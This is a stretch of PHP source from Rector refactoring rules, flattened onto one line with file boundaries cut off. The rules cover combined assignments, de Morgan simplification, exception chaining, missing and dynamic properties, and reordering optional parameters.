$this->phpDocTypeChanger->changeVarType($property, $phpDocInfo, $propertyType); } } staticTypeMapper = $staticTypeMapper; } public function createFromPropertyTagValueNode(PropertyTagValueNode $propertyTagValueNode, Class_ $class, string $propertyName) : Property { $propertyProperty = new PropertyProperty($propertyName); $propertyTypeNode = $this->createPropertyTypeNode($propertyTagValueNode, $class); return new Property(Class_::MODIFIER_PRIVATE, [$propertyProperty], [], $propertyTypeNode); } /** * @return \PhpParser\Node\Name|\PhpParser\Node\ComplexType|\PhpParser\Node\Identifier|null */ public function createPropertyTypeNode(PropertyTagValueNode $propertyTagValueNode, Class_ $class, bool $isNullable = \true) { $propertyType = $this->staticTypeMapper->mapPHPStanPhpDocTypeNodeToPHPStanType($propertyTagValueNode->type, $class); $typeNode = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($propertyType, TypeKind::PROPERTY); if ($isNullable && !$typeNode instanceof NullableType && !$typeNode instanceof ComplexType && $typeNode instanceof Node) { return new NullableType($typeNode); } return $typeNode; } } nodeTypeResolver = $nodeTypeResolver; $this->typeUnwrapper = $typeUnwrapper; $this->staticTypeAnalyzer = $staticTypeAnalyzer; $this->nodeFactory = $nodeFactory; } public function boolCastOrNullCompareIfNeeded(Expr $expr) : Expr { $exprStaticType = $this->nodeTypeResolver->getType($expr); if (!TypeCombinator::containsNull($exprStaticType)) { if (!$this->isBoolCastNeeded($expr, $exprStaticType)) { return $expr; } return new Bool_($expr); } // if we remove null type, still has to be trueable if ($exprStaticType instanceof UnionType) { $unionTypeWithoutNullType = $this->typeUnwrapper->removeNullTypeFromUnionType($exprStaticType); if ($this->staticTypeAnalyzer->isAlwaysTruableType($unionTypeWithoutNullType)) { return new NotIdentical($expr, $this->nodeFactory->createNull()); } } elseif ($this->staticTypeAnalyzer->isAlwaysTruableType($exprStaticType)) { return new NotIdentical($expr, $this->nodeFactory->createNull()); } if (!$this->isBoolCastNeeded($expr, $exprStaticType)) { return $expr; } return new Bool_($expr); } private function isBoolCastNeeded(Expr $expr, Type $exprType) : bool { if ($expr instanceof BooleanNot) { return \false; } if ($exprType->isBoolean()->yes()) { return \false; } return !$expr instanceof BinaryOp; } } assignAndBinaryMap = $assignAndBinaryMap; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Simplify $value = $value + 5; assignments to shorter ones', [new CodeSample('$value = $value + 5;', '$value += 5;')]); } /** * @return array> */ public function getNodeTypes() : array { return [Assign::class]; } /** * @param Assign $node */ public function refactor(Node $node) : ?Node { if (!$node->expr instanceof BinaryOp) { return null; } /** @var BinaryOp $binaryNode */ $binaryNode = $node->expr; if (!$this->nodeComparator->areNodesEqual($node->var, $binaryNode->left)) { return null; } $assignClass = $this->assignAndBinaryMap->getAlternative($binaryNode); if ($assignClass === null) { return null; } return new $assignClass($node->var, $binaryNode->right); } } > */ public function getNodeTypes() : array { return [BooleanAnd::class]; } /** * @param BooleanAnd $node */ public function refactor(Node $node) : ?Node { if ($node->left instanceof FuncCall && $this->isName($node->left, 'is_object') && $node->right instanceof Instanceof_) { return $this->processRemoveUselessIsObject($node->left, $node->right); } if (!$node->left instanceof Instanceof_) { return null; } if (!$node->right instanceof FuncCall) { return null; } if (!$this->isName($node->right, 'is_object')) { return null; } return $this->processRemoveUselessIsObject($node->right, $node->left); } private function processRemoveUselessIsObject(FuncCall $funcCall, Instanceof_ $instanceof) : ?Instanceof_ { if ($funcCall->isFirstClassCallable()) { return null; } $args = $funcCall->getArgs(); if (!isset($args[0])) { return null; } if (!$this->nodeComparator->areNodesEqual($args[0]->value, $instanceof->expr)) { return null; } return $instanceof; } } binaryOpManipulator = $binaryOpManipulator; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Simplify `is_array` and `empty` functions combination into a simple identical check for an empty array', [new CodeSample('is_array($values) && empty($values)', '$values === []')]); } /** * @return array> */ public function getNodeTypes() : array { return [BooleanAnd::class]; } /** * @param BooleanAnd $node */ public function refactor(Node $node) : ?Node { $twoNodeMatch = $this->resolvetwoNodeMatch($node); if (!$twoNodeMatch instanceof TwoNodeMatch) { return null; } /** @var FuncCall $isArrayExpr */ $isArrayExpr = $twoNodeMatch->getFirstExpr(); $firstArgValue = $isArrayExpr->getArgs()[0]->value; /** @var Empty_ $emptyOrNotIdenticalNode */ $emptyOrNotIdenticalNode = $twoNodeMatch->getSecondExpr(); if ($emptyOrNotIdenticalNode->expr instanceof FuncCall && $this->nodeComparator->areNodesEqual($emptyOrNotIdenticalNode->expr->getArgs()[0]->value, $firstArgValue)) { return new Identical($emptyOrNotIdenticalNode->expr, new Array_()); } if (!$this->nodeComparator->areNodesEqual($emptyOrNotIdenticalNode->expr, $firstArgValue)) { return null; } return new Identical($emptyOrNotIdenticalNode->expr, new Array_()); } private function resolvetwoNodeMatch(BooleanAnd $booleanAnd) : ?TwoNodeMatch { return $this->binaryOpManipulator->matchFirstAndSecondConditionNode( $booleanAnd, // is_array(...) function (Node $node) : bool { if (!$node instanceof FuncCall) { return \false; } if ($node->isFirstClassCallable()) { return \false; } if (!$this->isName($node, 'is_array')) { return \false; } return isset($node->getArgs()[0]); }, // empty(...) function (Node $node) : bool { if (!$node instanceof Empty_) { return \false; } if ($node->expr instanceof FuncCall) { if ($node->expr->isFirstClassCallable()) { return \false; } if (!$this->isName($node->expr, 'array_filter')) { return \false; } return isset($node->expr->getArgs()[0]); } return \true; } ); } } > */ public function getNodeTypes() : array { return [BooleanNot::class]; } /** * @param BooleanNot $node */ public function refactor(Node $node) : ?Node { $depth = 0; $expr = $node->expr; while ($expr instanceof BooleanNot) { ++$depth; $expr = $expr->expr; } if ($depth === 0) { return null; } if ($depth % 2 === 0) { $node->expr = $expr; return $node; } return new Bool_($expr); } } binaryOpManipulator = $binaryOpManipulator; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Simplify negated conditions with de Morgan theorem', [new CodeSample(<<<'CODE_SAMPLE' $a = 5; $b = 10; $result = !($a > 20 || $b <= 50); CODE_SAMPLE , <<<'CODE_SAMPLE' $a = 5; $b = 10; $result = $a <= 20 && $b > 50; CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [BooleanNot::class]; } /** * @param BooleanNot $node */ public function refactor(Node $node) : ?BinaryOp { if (!$node->expr instanceof BooleanOr) { return null; } return $this->binaryOpManipulator->inverseBooleanOr($node->expr); } } reflectionProvider = $reflectionProvider; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('When throwing into a catch block, checks that the previous exception is passed to the new throw clause', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { try { $someCode = 1; } catch (Throwable $throwable) { throw new AnotherException('ups'); } } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { try { $someCode = 1; } catch (Throwable $throwable) { throw new AnotherException('ups', $throwable->getCode(), $throwable); } } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Catch_::class]; } /** * @param Catch_ $node */ public function refactor(Node $node) : ?Node { $caughtThrowableVariable = $node->var; if (!$caughtThrowableVariable instanceof Variable) { return null; } $isChanged = \false; $this->traverseNodesWithCallable($node->stmts, function (Node $node) use($caughtThrowableVariable, &$isChanged) : ?int { if (!$node instanceof Throw_) { return null; } $isChanged = $this->refactorThrow($node, $caughtThrowableVariable); return $isChanged; }); if (!(bool) $isChanged) { return null; } return $node; } private function refactorThrow(Throw_ $throw, Variable $catchedThrowableVariable) : ?int { if (!$throw->expr instanceof New_) { return null; } $new = $throw->expr; if (!$new->class instanceof Name) { return null; } $exceptionArgumentPosition = $this->resolveExceptionArgumentPosition($new->class); if ($exceptionArgumentPosition === null) { return null; } if ($new->isFirstClassCallable()) { return null; } // exception is bundled if (isset($new->getArgs()[$exceptionArgumentPosition])) { return null; } if (!isset($new->getArgs()[0])) { // get previous message $getMessageMethodCall = new MethodCall($catchedThrowableVariable, 'getMessage'); $new->args[0] = new Arg($getMessageMethodCall); } /** @var Arg $messageArgument */ $messageArgument = $new->getArgs()[0]; $shouldUseNamedArguments = $messageArgument->name !== null; if (!isset($new->getArgs()[1])) { // get previous code $new->args[1] = new Arg(new MethodCall($catchedThrowableVariable, 'getCode'), \false, \false, [], $shouldUseNamedArguments ? new Identifier('code') : null); } /** @var Arg $arg1 */ $arg1 = $new->args[1]; if ($arg1->name instanceof Identifier && $arg1->name->toString() === 'previous') { $new->args[1] = new Arg(new MethodCall($catchedThrowableVariable, 'getCode'), \false, \false, [], $shouldUseNamedArguments ? new Identifier('code') : null); $new->args[$exceptionArgumentPosition] = $arg1; } else { $new->args[$exceptionArgumentPosition] = new Arg($catchedThrowableVariable, \false, \false, [], $shouldUseNamedArguments ? new Identifier('previous') : null); } // null the node, to fix broken format preserving printers, see https://github.com/rectorphp/rector/issues/5576 $new->setAttribute(AttributeKey::ORIGINAL_NODE, null); // nothing more to add return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } private function resolveExceptionArgumentPosition(Name $exceptionName) : ?int { $className = $this->getName($exceptionName); // is native exception? if (\strpos($className, '\\') === \false) { return self::DEFAULT_EXCEPTION_ARGUMENT_POSITION; } if (!$this->reflectionProvider->hasClass($className)) { return self::DEFAULT_EXCEPTION_ARGUMENT_POSITION; } $classReflection = $this->reflectionProvider->getClass($className); $construct = $classReflection->hasMethod(MethodName::CONSTRUCT); if (!$construct) { return self::DEFAULT_EXCEPTION_ARGUMENT_POSITION; } $extendedMethodReflection = $classReflection->getConstructor(); $parametersAcceptorWithPhpDocs = ParametersAcceptorSelector::combineAcceptors($extendedMethodReflection->getVariants()); foreach ($parametersAcceptorWithPhpDocs->getParameters() as $position => $parameterReflectionWithPhpDoc) { $parameterType = $parameterReflectionWithPhpDoc->getType(); if (!$parameterType instanceof TypeWithClassName) { continue; } $objectType = new ObjectType('Throwable'); if ($objectType->isSuperTypeOf($parameterType)->no()) { continue; } return $position; } return null; } } > */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Class_ { if ($node->getConstants() === []) { return null; } $class = $node; $hasChanged = \false; $this->traverseNodesWithCallable($class, function (Node $node) use($class, &$hasChanged) : ?Node { if (!$node instanceof ClassConstFetch) { return null; } if (!$this->isUsingStatic($node)) { return null; } if (!$class->isFinal() && !$this->isPrivateConstant($node, $class)) { return null; } $hasChanged = \true; $node->class = new Name('self'); return $node; }); if ($hasChanged) { return $node; } return null; } private function isUsingStatic(ClassConstFetch $classConstFetch) : bool { return $this->isName($classConstFetch->class, 'static'); } private function isPrivateConstant(ClassConstFetch $classConstFetch, Class_ $class) : bool { $constantName = $this->getConstantName($classConstFetch); if ($constantName === null) { return \false; } foreach ($class->getConstants() as $classConst) { if (!$this->nodeNameResolver->isName($classConst, $constantName)) { continue; } return $classConst->isPrivate(); } return \false; } private function getConstantName(ClassConstFetch $classConstFetch) : ?string { $constantNameIdentifier = $classConstFetch->name; if (!$constantNameIdentifier instanceof Identifier) { return null; } return $constantNameIdentifier->toString(); } } silentVoidResolver = $silentVoidResolver; $this->phpDocInfoFactory = $phpDocInfoFactory; $this->typeFactory = $typeFactory; $this->phpDocTypeChanger = $phpDocTypeChanger; $this->returnTypeInferer = $returnTypeInferer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add explicit return null to method/function that returns a value, but missed main return', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { /** * @return string|void */ public function run(int $number) { if ($number > 50) { return 'yes'; } } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { /** * @return string|null */ public function run(int $number) { if ($number > 50) { return 'yes'; } return null; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class, Function_::class]; } /** * @param ClassMethod|Function_ $node */ public function refactor(Node $node) : ?Node { // known return type, nothing to improve if ($node->returnType instanceof Node) { return null; } if ($node instanceof ClassMethod && $this->isName($node, MethodName::CONSTRUCT)) { return null; } $returnType = $this->returnTypeInferer->inferFunctionLike($node); if (!$returnType instanceof UnionType) { return null; } $hasChanged = \false; $this->traverseNodesWithCallable((array) $node->stmts, static function (Node $node) use(&$hasChanged) { if ($node instanceof Class_ || $node instanceof Function_ || $node instanceof Closure) { return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } if ($node instanceof Return_ && !$node->expr instanceof Expr) { $hasChanged = \true; $node->expr = new ConstFetch(new Name('null')); return $node; } return null; }); if (!$this->silentVoidResolver->hasSilentVoid($node)) { if ($hasChanged) { $this->transformDocUnionVoidToUnionNull($node); return $node; } return null; } $node->stmts[] = new Return_(new ConstFetch(new Name('null'))); $this->transformDocUnionVoidToUnionNull($node); return $node; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_ $node */ private function transformDocUnionVoidToUnionNull($node) : void { $phpDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($node); $returnType = $phpDocInfo->getReturnType(); if (!$returnType instanceof UnionType) { return; } $newTypes = []; $hasChanged = \false; foreach ($returnType->getTypes() as $type) { if ($type instanceof VoidType) { $type = new NullType(); $hasChanged = \true; } $newTypes[] = $type; } if (!$hasChanged) { return; } $type = $this->typeFactory->createMixedPassedOrUnionTypeAndKeepConstant($newTypes); if (!$type instanceof UnionType) { return; } $this->phpDocTypeChanger->changeReturnType($node, $phpDocInfo, $type); } } variableDimFetchAssignResolver = $variableDimFetchAssignResolver; $this->valueResolver = $valueResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Inline just in time array dim fetch assigns to direct return', [new CodeSample(<<<'CODE_SAMPLE' function getPerson() { $person = []; $person['name'] = 'Timmy'; $person['surname'] = 'Back'; return $person; } CODE_SAMPLE , <<<'CODE_SAMPLE' function getPerson() { return [ 'name' => 'Timmy', 'surname' => 'Back', ]; } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [StmtsAwareInterface::class]; } /** * @param StmtsAwareInterface $node */ public function refactor(Node $node) : ?Node { $stmts = (array) $node->stmts; if (\count($stmts) < 3) { return null; } $firstStmt = \array_shift($stmts); $variable = $this->matchVariableAssignOfEmptyArray($firstStmt); if (!$variable instanceof Variable) { return null; } if (!$this->areAssignExclusiveToDimFetch($stmts)) { return null; } $lastStmt = \array_pop($stmts); if (!$lastStmt instanceof Stmt) { return null; } if (!$this->isReturnOfVariable($lastStmt, $variable)) { return null; } $keysAndExprs = $this->variableDimFetchAssignResolver->resolveFromStmtsAndVariable($stmts, $variable); if ($keysAndExprs === []) { return null; } $array = $this->createArray($keysAndExprs); $node->stmts = [new Return_($array)]; return $node; } private function matchVariableAssignOfEmptyArray(Stmt $stmt) : ?Variable { if (!$stmt instanceof Expression) { return null; } if (!$stmt->expr instanceof Assign) { return null; } $assign = $stmt->expr; if (!$this->valueResolver->isValue($assign->expr, [])) { return null; } if (!$assign->var instanceof Variable) { return null; } return $assign->var; } private function isReturnOfVariable(Stmt $stmt, Variable $variable) : bool { if (!$stmt instanceof Return_) { return \false; } if (!$stmt->expr instanceof Variable) { return \false; } return $this->nodeComparator->areNodesEqual($stmt->expr, $variable); } /** * @param KeyAndExpr[] $keysAndExprs */ private function createArray(array $keysAndExprs) : Array_ { $arrayItems = []; foreach ($keysAndExprs as $keyAndExpr) { $arrayItem = new ArrayItem($keyAndExpr->getExpr(), $keyAndExpr->getKeyExpr()); $arrayItem->setAttribute(AttributeKey::COMMENTS, $keyAndExpr->getComments()); $arrayItems[] = $arrayItem; } return new Array_($arrayItems); } /** * Only: * $items['...'] = $result; * * @param Stmt[] $stmts */ private function areAssignExclusiveToDimFetch(array $stmts) : bool { \end($stmts); $lastKey = \key($stmts); \reset($stmts); foreach ($stmts as $key => $stmt) { if ($key === $lastKey) { // skip last item continue; } if (!$stmt instanceof Expression) { return \false; } if (!$stmt->expr instanceof Assign) { return \false; } $assign = $stmt->expr; if (!$assign->var instanceof ArrayDimFetch) { return \false; } } return \true; } } classMethodVisibilityGuard = $classMethodVisibilityGuard; $this->visibilityManipulator = $visibilityManipulator; $this->reflectionResolver = $reflectionResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change static method and local-only calls to non-static', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { self::someStatic(); } private static function someStatic() { } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { $this->someStatic(); } private function someStatic() { } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Class_ { $hasChanged = \false; foreach ($node->getMethods() as $classMethod) { if (!$classMethod->isPrivate()) { continue; } $changedClassMethod = $this->refactorClassMethod($node, $classMethod); if ($changedClassMethod instanceof ClassMethod) { $hasChanged = \true; } } if ($hasChanged) { return $node; } return null; } private function refactorClassMethod(Class_ $class, ClassMethod $classMethod) : ?ClassMethod { if (!$classMethod->isStatic()) { return null; } $classReflection = $this->reflectionResolver->resolveClassReflection($classMethod); if (!$classReflection instanceof ClassReflection) { return null; } if ($this->classMethodVisibilityGuard->isClassMethodVisibilityGuardedByParent($classMethod, $classReflection)) { return null; } if ($this->isClassMethodCalledInAnotherStaticClassMethod($class, $classMethod)) { return null; } // replace all the calls $classMethodName = $this->getName($classMethod); $className = $this->getName($class) ?? ''; $shouldSkip = \false; $this->traverseNodesWithCallable($class->getMethods(), function (Node $node) use(&$shouldSkip, $classMethodName, $className) : ?int { if (($node instanceof Closure || $node instanceof ArrowFunction) && $node->static) { $this->traverseNodesWithCallable($node->getStmts(), function (Node $subNode) use(&$shouldSkip, $classMethodName, $className) : ?int { if (!$subNode instanceof StaticCall) { return null; } if (!$this->isNames($subNode->class, ['self', 'static', $className])) { return null; } if (!$this->isName($subNode->name, $classMethodName)) { return null; } $shouldSkip = \true; return NodeTraverser::STOP_TRAVERSAL; }); if ($shouldSkip) { return NodeTraverser::STOP_TRAVERSAL; } return null; } return null; }); if ($shouldSkip) { return null; } $this->traverseNodesWithCallable($class->getMethods(), function (Node $node) use($classMethodName, $className) : ?MethodCall { if (!$node instanceof StaticCall) { return null; } if (!$this->isNames($node->class, ['self', 'static', $className])) { return null; } if (!$this->isName($node->name, $classMethodName)) { return null; } return new MethodCall(new Variable('this'), $classMethodName, $node->args); }); // change static calls to non-static ones, but only if in non-static method!!! $this->visibilityManipulator->makeNonStatic($classMethod); return $classMethod; } /** * If the static class method is called in another static class method, * we should keep it to avoid calling $this in static */ private function isClassMethodCalledInAnotherStaticClassMethod(Class_ $class, ClassMethod $classMethod) : bool { $currentClassNamespacedName = (string) $this->getName($class); $currentClassMethodName = $this->getName($classMethod); $isInsideStaticClassMethod = \false; // check if called stati call somewhere in class, but only in static methods foreach ($class->getMethods() as $checkedClassMethod) { // not a problem if (!$checkedClassMethod->isStatic()) { continue; } $this->traverseNodesWithCallable($checkedClassMethod, function (Node $node) use($currentClassNamespacedName, $currentClassMethodName, &$isInsideStaticClassMethod) : ?int { if (!$node instanceof StaticCall) { return null; } if (!$this->isNames($node->class, ['self', 'static', $currentClassNamespacedName])) { return null; } if (!$this->isName($node->name, $currentClassMethodName)) { return null; } $isInsideStaticClassMethod = \true; return NodeTraverser::STOP_TRAVERSAL; }); if ($isInsideStaticClassMethod) { return $isInsideStaticClassMethod; } } return \false; } } requireOptionalParamResolver = $requireOptionalParamResolver; $this->argumentSorter = $argumentSorter; $this->reflectionResolver = $reflectionResolver; $this->vendorLocationDetector = $vendorLocationDetector; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Move required parameters after optional ones', [new CodeSample(<<<'CODE_SAMPLE' class SomeObject { public function run($optional = 1, $required) { } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeObject { public function run($required, $optional = 1) { } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class, Function_::class, New_::class, MethodCall::class, StaticCall::class, FuncCall::class]; } /** * @param ClassMethod|Function_|New_|MethodCall|StaticCall|FuncCall $node * @return \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|null|\PhpParser\Node\Expr\New_|\PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\StaticCall|\PhpParser\Node\Expr\FuncCall */ public function refactorWithScope(Node $node, Scope $scope) { if ($node instanceof ClassMethod || $node instanceof Function_) { return $this->refactorClassMethodOrFunction($node, $scope); } if ($node instanceof New_) { return $this->refactorNew($node, $scope); } return $this->refactorMethodCallOrFuncCall($node, $scope); } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_ $node * @return \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|null */ private function refactorClassMethodOrFunction($node, Scope $scope) { if ($node->params === []) { return null; } if ($node->getAttribute(self::HAS_SWAPPED_PARAMS, \false) === \true) { return null; } if ($node instanceof ClassMethod) { $reflection = $this->reflectionResolver->resolveMethodReflectionFromClassMethod($node, $scope); } else { $reflection = $this->reflectionResolver->resolveFunctionReflectionFromFunction($node, $scope); } if (!$reflection instanceof MethodReflection && !$reflection instanceof FunctionReflection) { return null; } $expectedArgOrParamOrder = $this->resolveExpectedArgParamOrderIfDifferent($reflection, $node, $scope); if ($expectedArgOrParamOrder === null) { return null; } $node->params = $this->argumentSorter->sortArgsByExpectedParamOrder($node->params, $expectedArgOrParamOrder); $node->setAttribute(self::HAS_SWAPPED_PARAMS, \true); return $node; } private function refactorNew(New_ $new, Scope $scope) : ?New_ { if ($new->args === []) { return null; } if ($new->isFirstClassCallable()) { return null; } $methodReflection = $this->reflectionResolver->resolveMethodReflectionFromNew($new); if (!$methodReflection instanceof MethodReflection) { return null; } $expectedArgOrParamOrder = $this->resolveExpectedArgParamOrderIfDifferent($methodReflection, $new, $scope); if ($expectedArgOrParamOrder === null) { return null; } $new->args = $this->argumentSorter->sortArgsByExpectedParamOrder($new->getArgs(), $expectedArgOrParamOrder); return $new; } /** * @param \PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\StaticCall|\PhpParser\Node\Expr\FuncCall $node * @return \PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\StaticCall|\PhpParser\Node\Expr\FuncCall|null */ private function refactorMethodCallOrFuncCall($node, Scope $scope) { if ($node->isFirstClassCallable()) { return null; } $reflection = $this->reflectionResolver->resolveFunctionLikeReflectionFromCall($node); if (!$reflection instanceof MethodReflection && !$reflection instanceof FunctionReflection) { return null; } $expectedArgOrParamOrder = $this->resolveExpectedArgParamOrderIfDifferent($reflection, $node, $scope); if ($expectedArgOrParamOrder === null) { return null; } $newArgs = $this->argumentSorter->sortArgsByExpectedParamOrder($node->getArgs(), $expectedArgOrParamOrder); if ($node->args === $newArgs) { return null; } $node->args = $newArgs; return $node; } /** * @return int[]|null * @param \PHPStan\Reflection\MethodReflection|\PHPStan\Reflection\FunctionReflection $reflection * @param \PhpParser\Node\Expr\New_|\PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\StaticCall|\PhpParser\Node\Expr\FuncCall $node */ private function resolveExpectedArgParamOrderIfDifferent($reflection, $node, Scope $scope) : ?array { if ($reflection instanceof NativeFunctionReflection) { return null; } if ($reflection instanceof MethodReflection && $this->vendorLocationDetector->detectMethodReflection($reflection)) { return null; } if ($reflection instanceof FunctionReflection && $this->vendorLocationDetector->detectFunctionReflection($reflection)) { return null; } $parametersAcceptor = ParametersAcceptorSelectorVariantsWrapper::select($reflection, $node, $scope); $expectedParameterReflections = $this->requireOptionalParamResolver->resolveFromParametersAcceptor($parametersAcceptor); if ($expectedParameterReflections === $parametersAcceptor->getParameters()) { return null; } return \array_keys($expectedParameterReflections); } } missingPropertiesFactory = $missingPropertiesFactory; $this->localPropertyAnalyzer = $localPropertyAnalyzer; $this->classLikeAnalyzer = $classLikeAnalyzer; $this->reflectionProvider = $reflectionProvider; $this->classAnalyzer = $classAnalyzer; $this->propertyPresenceChecker = $propertyPresenceChecker; $this->phpAttributeAnalyzer = $phpAttributeAnalyzer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add missing dynamic properties', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function set() { $this->value = 5; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { /** * @var int */ public $value; public function set() { $this->value = 5; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { if ($this->shouldSkipClass($node)) { return null; } $className = $this->getName($node); if ($className === null) { return null; } if (!$this->reflectionProvider->hasClass($className)) { return null; } $classReflection = $this->reflectionProvider->getClass($className); // special case for Laravel Collection macro magic $fetchedLocalPropertyNameToTypes = $this->localPropertyAnalyzer->resolveFetchedPropertiesToTypesFromClass($node); $propertiesToComplete = $this->resolvePropertiesToComplete($node, $fetchedLocalPropertyNameToTypes); if ($propertiesToComplete === []) { return null; } $propertiesToComplete = $this->filterOutExistingProperties($node, $classReflection, $propertiesToComplete); $newProperties = $this->missingPropertiesFactory->create($fetchedLocalPropertyNameToTypes, $propertiesToComplete); if ($newProperties === []) { return null; } $node->stmts = \array_merge($newProperties, $node->stmts); return $node; } private function shouldSkipClass(Class_ $class) : bool { if ($this->classAnalyzer->isAnonymousClass($class)) { return \true; } $className = (string) $this->nodeNameResolver->getName($class); if (!$this->reflectionProvider->hasClass($className)) { return \true; } if ($this->phpAttributeAnalyzer->hasPhpAttribute($class, 'AllowDynamicProperties')) { return \true; } $classReflection = $this->reflectionProvider->getClass($className); // properties are accessed via magic, nothing we can do if ($classReflection->hasMethod('__set')) { return \true; } if ($classReflection->hasMethod('__get')) { return \true; } return $class->extends instanceof FullyQualified && !$this->reflectionProvider->hasClass($class->extends->toString()); } /** * @param array $fetchedLocalPropertyNameToTypes * @return string[] */ private function resolvePropertiesToComplete(Class_ $class, array $fetchedLocalPropertyNameToTypes) : array { $propertyNames = $this->classLikeAnalyzer->resolvePropertyNames($class); /** @var string[] $fetchedLocalPropertyNames */ $fetchedLocalPropertyNames = \array_keys($fetchedLocalPropertyNameToTypes); return \array_diff($fetchedLocalPropertyNames, $propertyNames); } /** * @param string[] $propertiesToComplete * @return string[] */ private function filterOutExistingProperties(Class_ $class, ClassReflection $classReflection, array $propertiesToComplete) : array { $missingPropertyNames = []; $className = $classReflection->getName(); // remove other properties that are accessible from this scope foreach ($propertiesToComplete as $propertyToComplete) { if ($classReflection->hasProperty($propertyToComplete)) { continue; } $propertyMetadata = new PropertyMetadata($propertyToComplete, new ObjectType($className)); $hasClassContextProperty = $this->propertyPresenceChecker->hasClassContextProperty($class, $propertyMetadata); if ($hasClassContextProperty) { continue; } $missingPropertyNames[] = $propertyToComplete; } return $missingPropertyNames; } } phpAttributeAnalyzer = $phpAttributeAnalyzer; $this->phpDocInfoFactory = $phpDocInfoFactory; $this->phpDocTagRemover = $phpDocTagRemover; $this->docBlockUpdater = $docBlockUpdater; $this->typedPropertyFactory = $typedPropertyFactory; $this->testsNodeAnalyzer = $testsNodeAnalyzer; $this->valueResolver = $valueResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Turn dynamic docblock properties on class with no parents to explicit ones', [new CodeSample(<<<'CODE_SAMPLE' /** * @property SomeDependency $someDependency */ #[\AllowDynamicProperties] final class SomeClass { public function __construct() { $this->someDependency = new SomeDependency(); } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { private SomeDependency $someDependency; public function __construct() { $this->someDependency = new SomeDependency(); } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { if (!$this->phpAttributeAnalyzer->hasPhpAttribute($node, 'AllowDynamicProperties')) { return null; } if ($this->shouldSkipClass($node)) { return null; } // 2. add defined @property explicitly $classPhpDocInfo = $this->phpDocInfoFactory->createFromNode($node); if (!$classPhpDocInfo instanceof PhpDocInfo) { return null; } $propertyPhpDocTagNodes = $classPhpDocInfo->getTagsByName('property'); if ($propertyPhpDocTagNodes === []) { return null; } // 1. remove dynamic attribute, most likely any foreach ($node->attrGroups as $key => $attrGroup) { foreach ($attrGroup->attrs as $attr) { if ($attr->name->toString() === 'AllowDynamicProperties') { unset($node->attrGroups[$key]); continue 2; } } } $node->attrGroups = \array_values($node->attrGroups); $newProperties = $this->createNewPropertyFromPropertyTagValueNodes($propertyPhpDocTagNodes, $node); // remove property tags foreach ($propertyPhpDocTagNodes as $propertyPhpDocTagNode) { // remove from docblock $this->phpDocTagRemover->removeTagValueFromNode($classPhpDocInfo, $propertyPhpDocTagNode); } // merge new properties to start of the file $node->stmts = \array_merge($newProperties, $node->stmts); // update doc info $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($node); return $node; } public function provideMinPhpVersion() : int { return PhpVersionFeature::DEPRECATE_DYNAMIC_PROPERTIES; } /** * @param PhpDocTagNode[] $propertyPhpDocTagNodes * @return Property[] */ private function createNewPropertyFromPropertyTagValueNodes(array $propertyPhpDocTagNodes, Class_ $class) : array { $newProperties = []; foreach ($propertyPhpDocTagNodes as $propertyPhpDocTagNode) { // add explicit native property $propertyTagValueNode = $propertyPhpDocTagNode->value; if (!$propertyTagValueNode instanceof PropertyTagValueNode) { continue; } $propertyName = \ltrim($propertyTagValueNode->propertyName, '$'); if ($this->isPromotedProperty($class, $propertyName)) { continue; } // is property already defined? if ($class->getProperty($propertyName)) { // improve exising one type if needed $existingProperty = $class->getProperty($propertyName); if ($existingProperty->type !== null) { continue; } $defaultValue = $existingProperty->props[0]->default; $isNullable = $defaultValue instanceof Expr && $this->valueResolver->isNull($defaultValue); 